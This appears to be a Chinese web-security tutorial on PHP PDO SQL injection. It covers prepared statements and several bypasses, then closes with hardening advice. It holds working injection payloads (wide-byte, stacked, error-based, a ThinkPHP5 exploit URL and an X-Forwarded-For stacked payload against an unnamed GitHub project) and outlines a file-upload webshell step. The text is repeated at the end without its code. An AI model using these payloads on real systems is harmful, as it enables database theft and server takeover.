从PDO下的注入思路到Git 2000 Star项目0day
字数 1145 2025-08-09 17:09:31

PDO安全机制与注入技术深度解析

0x01 PDO基础概念

PDO简介

PDO(PHP Data Object)是PHP访问数据库的轻量级一致接口,提供数据访问抽象层,支持多种数据库的统一操作方式。

PHP连接MySQL的三种方式比较

特性 MySQL Mysqli PDO
引入版本 5.0 5.0 3.0之前
PHP5.x包含
服务端prepare支持
客户端prepare支持
存储过程支持
多语句执行支持 大多数

0x02 PDO防范SQL注入机制

1. 特殊字符转义方法

quote()方法:对输入字符串添加引号并转义特殊字符

$string = "Naughty ' string";
$quoted = $conn->quote($string); // 输出: 'Naughty '' string'

2. 预编译语句技术

2.1 命名参数方式

$sql = 'SELECT * FROM user WHERE username=:username AND password=:password';
$stmt = $pdo->prepare($sql);
$stmt->execute(array(":username"=>$username,":password"=>$password));

2.2 问号占位符方式

$sql = "SELECT * FROM user WHERE username=? AND password=?";
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));

2.3 bindParam绑定参数

$sql = 'SELECT * FROM user WHERE username=:username AND password=:password';
$stmt = $pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
$stmt->execute();

0x03 PDO注入技术突破

1. 宽字节注入

当MySQL设置为GBK编码时,构造%df'可绕过转义:

id=1%df' AND 1=1--+

2. 堆叠注入与报错注入

关键PDO配置参数:

  • PDO::ATTR_EMULATE_PREPARES:模拟预处理(默认true)
  • PDO::ATTR_ERRMODE:报错模式
  • PDO::MYSQL_ATTR_MULTI_STATEMENTS:多语句执行(默认true)

2.1 无过滤堆叠注入

// 危险代码示例
$sql = "SELECT * FROM user WHERE username='{$username}'";
$pdo->query($sql); // 可注入多语句

2.2 模拟预处理下的注入

$sql = "SELECT id,".$_GET['role']." FROM user WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute(); // 通过role参数注入

2.3 报错注入技术

启用报错模式后:

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 使用GTID_SUBSET等函数触发报错
?id=1 OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)

3. 安全配置方案

$pdo = new PDO('mysql:dbname=test;host=localhost;charset=utf8', 'root', 'root', [
    PDO::ATTR_EMULATE_PREPARES => false, // 禁用模拟预处理
    PDO::MYSQL_ATTR_MULTI_STATEMENTS => false // 禁用多语句
]);

0x04 实战案例研究

1. ThinkPHP5 PDO注入案例

漏洞代码

$ids = input('ids/a'); // 接收数组
$result = $t->where('id', 'in', $ids)->select();

利用方式

?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

2. Git 2000+ Star项目0day

漏洞点

  • 通过X-Forwarded-For头注入
  • PDO默认配置允许多语句执行

利用步骤

  1. 构造堆叠注入Payload:
X-FORWARDED-For:1";set@a=0xHEXCODE;PREPARE a FROM @a;execute a;select sleep(3);#
  1. 将恶意SQL语句转换为16进制编码
  2. 通过时间延迟确认注入成功

后台Getshell方法

  1. 绕过前端JS校验上传PHP文件
  2. 文件路径规则:/res/upload/年-月-日/时分秒.php
  3. 使用Intruder爆破准确的文件名

0x05 高级注入技术

Prepare Statement绕过技术

SET @a=0x73656C65637420757365722829; -- select user()的16进制
PREPARE a FROM @a;
EXECUTE a;

无回显注入解决方案

  1. 时间延迟技术
  2. DNS外带技术
  3. 直接插入管理员账号

防御建议

  1. 始终禁用模拟预处理:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  1. 禁用多语句执行:
new PDO($dsn, $user, $pass, [PDO::MYSQL_ATTR_MULTI_STATEMENTS => false]);
  1. 严格过滤所有用户输入
  2. 使用白名单验证输入格式
  3. 最小权限原则配置数据库账户

参考资源

  1. ThinkPHP5注入分析 - 离别歌
  2. PDO安全配置指南 - 51CTO
  3. PDO注入技术详解 - 阿里云先知社区
PDO安全机制与注入技术深度解析 0x01 PDO基础概念 PDO简介 PDO(PHP Data Object)是PHP访问数据库的轻量级一致接口,提供数据访问抽象层,支持多种数据库的统一操作方式。 PHP连接MySQL的三种方式比较 | 特性 | MySQL | Mysqli | PDO | |------|-------|--------|-----| | 引入版本 | 5.0 | 5.0 | 3.0之前 | | PHP5.x包含 | 是 | 是 | 是 | | 服务端prepare支持 | 是 | 是 | 否 | | 客户端prepare支持 | 否 | 否 | 是 | | 存储过程支持 | 否 | 是 | 是 | | 多语句执行支持 | 是 | 大多数 | 否 | 0x02 PDO防范SQL注入机制 1. 特殊字符转义方法 quote()方法 :对输入字符串添加引号并转义特殊字符 2. 预编译语句技术 2.1 命名参数方式 2.2 问号占位符方式 2.3 bindParam绑定参数 0x03 PDO注入技术突破 1. 宽字节注入 当MySQL设置为GBK编码时,构造 %df' 可绕过转义: 2. 堆叠注入与报错注入 关键PDO配置参数: PDO::ATTR_EMULATE_PREPARES :模拟预处理(默认true) PDO::ATTR_ERRMODE :报错模式 PDO::MYSQL_ATTR_MULTI_STATEMENTS :多语句执行(默认true) 2.1 无过滤堆叠注入 2.2 模拟预处理下的注入 2.3 报错注入技术 启用报错模式后: 3. 安全配置方案 0x04 实战案例研究 1. ThinkPHP5 PDO注入案例 漏洞代码 : 利用方式 : 2. Git 2000+ Star项目0day 漏洞点 : 通过X-Forwarded-For头注入 PDO默认配置允许多语句执行 利用步骤 : 构造堆叠注入Payload: 将恶意SQL语句转换为16进制编码 通过时间延迟确认注入成功 后台Getshell方法 : 绕过前端JS校验上传PHP文件 文件路径规则: /res/upload/年-月-日/时分秒.php 使用Intruder爆破准确的文件名 0x05 高级注入技术 Prepare Statement绕过技术 无回显注入解决方案 时间延迟技术 DNS外带技术 直接插入管理员账号 防御建议 始终禁用模拟预处理: 禁用多语句执行: 严格过滤所有用户输入 使用白名单验证输入格式 最小权限原则配置数据库账户 参考资源 ThinkPHP5注入分析 - 离别歌 PDO安全配置指南 - 51CTO PDO注入技术详解 - 阿里云先知社区